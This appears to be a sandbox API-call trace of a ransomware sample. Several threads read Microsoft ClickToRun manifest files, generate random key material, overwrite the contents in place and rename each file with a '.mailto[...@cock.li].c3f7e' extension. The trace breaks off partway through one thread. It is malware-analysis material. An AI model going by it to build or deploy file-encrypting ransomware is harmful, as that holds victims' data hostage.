	[0089.289] WriteFile (in: hFile=0x1c40, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x5fee, lpNumberOfBytesWritten=0x2ce3f8b4, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2ce3f8b4*=0x5fee, lpOverlapped=0x0) returned 1
	[0093.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0093.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0093.219] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0093.219] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0093.219] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0093.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82b80) returned 1
	[0093.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0093.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecab0
	[0093.221] SetFilePointerEx (in: hFile=0x1c40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.221] WriteFile (hFile=0x1c40, lpBuffer=0x2e03d78, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x2ce3f91c, lpOverlapped=0x0) 

Thread:
	id = 1300
	os_tid = 0x208c

	[0089.288] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x20
	[0089.290] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", dwFileAttributes=0x20) returned 1
	[0089.291] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c44
	[0089.291] GetFileSizeEx (in: hFile=0x1c44, lpFileSize=0x2cebfed8 | out: lpFileSize=0x2cebfed8*=24558) returned 1
	[0089.291] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x5fea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.291] ReadFile (in: hFile=0x1c44, lpBuffer=0x2cebfe5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cebfe58, lpOverlapped=0x0 | out: lpBuffer=0x2cebfe5c*, lpNumberOfBytesRead=0x2cebfe58*=0x4, lpOverlapped=0x0) returned 1
	[0089.292] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0089.292] NtQuerySystemTime (in: CurrentTime=0x2cebfe38 | out: CurrentTime=0x2cebfe38*=132251868160225522) returned 0x0
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xb432c638
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x4b3dcb7c
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x133bca41
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xff59f2aa
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xa1bb18ba
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xfdc871bb
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x4158a112
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xac7383b5
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x17260920
	[0089.292] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xf6d76323
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xf8abf876
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x485ee463
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xadb339ca
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x160596e5
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x928fdcff
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x56f1bc21
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x2bdc5378
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x66887cbc
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xd6918df4
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x11724268
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xb4f2ce7c
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x35bc347d
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xff770018
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xd50eeef1
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xb6dd823
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x4008b2d3
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x990aa19b
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xc71f4b67
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xc19c7581
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xfdc5c3c2
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0xf6c7fdf1
	[0089.293] RtlRandom (in: Seed=0x2cebfe44 | out: Seed=0x2cebfe44) returned 0x6d7dbf34
	[0089.302] ReadFile (in: hFile=0x1c44, lpBuffer=0x4939810, nNumberOfBytesToRead=0x5fee, lpNumberOfBytesRead=0x2cebfe34, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2cebfe34*=0x5fee, lpOverlapped=0x0) returned 1
	[0089.303] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.304] WriteFile (in: hFile=0x1c44, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0x5fee, lpNumberOfBytesWritten=0x2cebfe30, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2cebfe30*=0x5fee, lpOverlapped=0x0) returned 1
	[0089.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0089.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0089.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0089.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.306] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.306] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecea0
	[0089.306] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.306] WriteFile (in: hFile=0x1c44, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x2cebfe98, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2cebfe98*=0x145, lpOverlapped=0x0) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0089.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0089.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481e030
	[0089.309] wcscpy (in: _Dest=0x481e030, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml"
	[0089.309] wcscat (in: _Dest=0x481e030, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2cebfe50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x498ed90
	[0089.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.310] NtQueryInformationFile (in: FileHandle=0x1c44, IoStatusBlock=0x2cebfe5c, FileInformation=0x2cebfe34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cebfe5c, FileInformation=0x2cebfe34) returned 0x0
	[0089.310] NtSetInformationFile (FileHandle=0x1c44, IoStatusBlock=0x2cebfe5c, FileInformation=0x2cebfe34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0089.311] FlushFileBuffers (hFile=0x1c44) returned 1
	[0093.270] CloseHandle (hObject=0x1c44) 

Thread:
	id = 1301
	os_tid = 0x2090

	[0089.302] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x20
	[0089.304] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c48
	[0089.305] GetFileSizeEx (in: hFile=0x1c48, lpFileSize=0x2cf3fca8 | out: lpFileSize=0x2cf3fca8*=2042) returned 1
	[0089.305] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.305] ReadFile (in: hFile=0x1c48, lpBuffer=0x2cf3fc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf3fc28, lpOverlapped=0x0 | out: lpBuffer=0x2cf3fc2c*, lpNumberOfBytesRead=0x2cf3fc28*=0x4, lpOverlapped=0x0) returned 1
	[0089.312] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0089.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0089.312] NtQuerySystemTime (in: CurrentTime=0x2cf3fc08 | out: CurrentTime=0x2cf3fc08*=132251868160537904) returned 0x0
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x26a4d8e0
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x9b003668
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xd6528f0
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x75c0f147
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x97ef1007
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xb07421e6
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x72938e12
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x52a574e3
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xe4a0f82d
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xb0a07054
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x6b2bfcc
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x97287b36
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x357ebfef
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x871ff965
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xfcd500fd
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x342ac65
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xb177d5ca
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x858cb2e8
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x2ea6d64
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xe121107d
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x7d4b7713
	[0089.312] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x155022eb
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xc2442cb
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x5662a469
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xa8771489
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x1b2314d0
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xf3370c9c
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xaeb6266b
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xaa1df0e5
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0xef107a9a
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x2ba7ebee
	[0089.313] RtlRandom (in: Seed=0x2cf3fc14 | out: Seed=0x2cf3fc14) returned 0x542a8361
	[0089.321] ReadFile (in: hFile=0x1c48, lpBuffer=0x4939810, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x2cf3fc04, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2cf3fc04*=0x7fa, lpOverlapped=0x0) returned 1
	[0089.321] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.321] WriteFile (in: hFile=0x1c48, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x2cf3fc00, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2cf3fc00*=0x7fa, lpOverlapped=0x0) returned 1
	[0089.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0089.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0089.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0089.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d778a0
	[0089.323] SetFilePointerEx (in: hFile=0x1c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.323] WriteFile (in: hFile=0x1c48, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x2cf3fc68, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2cf3fc68*=0x13b, lpOverlapped=0x0) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77a20) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0089.324] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x498ed90
	[0089.324] wcscpy (in: _Dest=0x498ed90, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml"
	[0089.324] wcscat (in: _Dest=0x498ed90, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.324] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2cf3fc20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.324] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x4730008
	[0089.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0089.326] NtQueryInformationFile (in: FileHandle=0x1c48, IoStatusBlock=0x2cf3fc2c, FileInformation=0x2cf3fc04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cf3fc2c, FileInformation=0x2cf3fc04) returned 0x0
	[0089.326] NtSetInformationFile (FileHandle=0x1c48, IoStatusBlock=0x2cf3fc2c, FileInformation=0x2cf3fc04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.328] FlushFileBuffers (hFile=0x1c48) returned 1
	[0093.270] CloseHandle (hObject=0x1c48) 

Thread:
	id = 1302
	os_tid = 0x2094

	[0089.322] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.328] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.328] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c4c
	[0089.328] GetFileSizeEx (in: hFile=0x1c4c, lpFileSize=0x2cfbfcc0 | out: lpFileSize=0x2cfbfcc0*=77386) returned 1
	[0089.328] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x12e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.329] ReadFile (in: hFile=0x1c4c, lpBuffer=0x2cfbfc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cfbfc40, lpOverlapped=0x0 | out: lpBuffer=0x2cfbfc44*, lpNumberOfBytesRead=0x2cfbfc40*=0x4, lpOverlapped=0x0) returned 1
	[0089.330] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0089.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0089.330] NtQuerySystemTime (in: CurrentTime=0x2cfbfc20 | out: CurrentTime=0x2cfbfc20*=132251868160694191) returned 0x0
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x3ea89954
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x517e86ba
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x578d2d15
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x48f1b436
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x2fc03b35
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xa883f3d
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x40d51ba0
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xf8ecbeb2
